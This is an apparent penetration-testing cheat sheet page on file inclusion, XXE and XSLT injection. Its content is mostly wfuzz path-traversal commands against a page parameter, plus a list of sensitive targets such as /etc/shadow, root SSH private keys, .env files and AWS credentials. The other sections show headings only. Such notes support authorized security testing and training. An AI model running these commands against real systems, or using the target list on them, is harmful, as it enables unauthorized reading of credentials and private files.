Page cover
For the complete documentation index, see llms.txt. This page is also available as Markdown.

LFI / XXE/XSLT

01. Local File Inclusion (LFI)

01.1 Linux

## ------------------| Linux
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hl 367                       
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hl 367                       

wget https://raw.githubusercontent.com/foospidy/payloads/master/other/traversal/dotdotpwn.txt
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w dotdotpwn.txt --hl 367                       

## ------------------| Windows
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt --hl 367 

wget https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/file_inclusion_windows.txt
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w file_inclusion_windows.txt
  • Useful LFI files

../../../etc/passwd
../../../../../../../../../../../../etc/passwd

/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/home/user/.bash_history
/home/user/.ssh/authorized_keys
/home/user/.ssh/id_rsa
/var/www/html/.env
/proc/self/environ
/proc/self/cmdline
/proc/net/tcp
/proc/sched_debug
/etc/apache2/sites-available/000-default.conf
/home/ecs-user/.aws/credentials
  • Configuration Files

  • Log Files

  • Download running binary file.

01.2 Windows

  • Click here for wordlist

  • File Paths

01.3 Wrappers & Filters

01.4 LFI to RCEs

include=('$file')

  • PHP Gadgets (New🔥)

  • Log Poisoning

01.5 Tricks

  • phpinfo() (file_uploads = on)

01.6 LFI with python

02. Remote File Inclusion

allow_url_include

03. XML external entity (XXE) injection

  • Common payloads

  • Filters

04. XSLT Injection

Last updated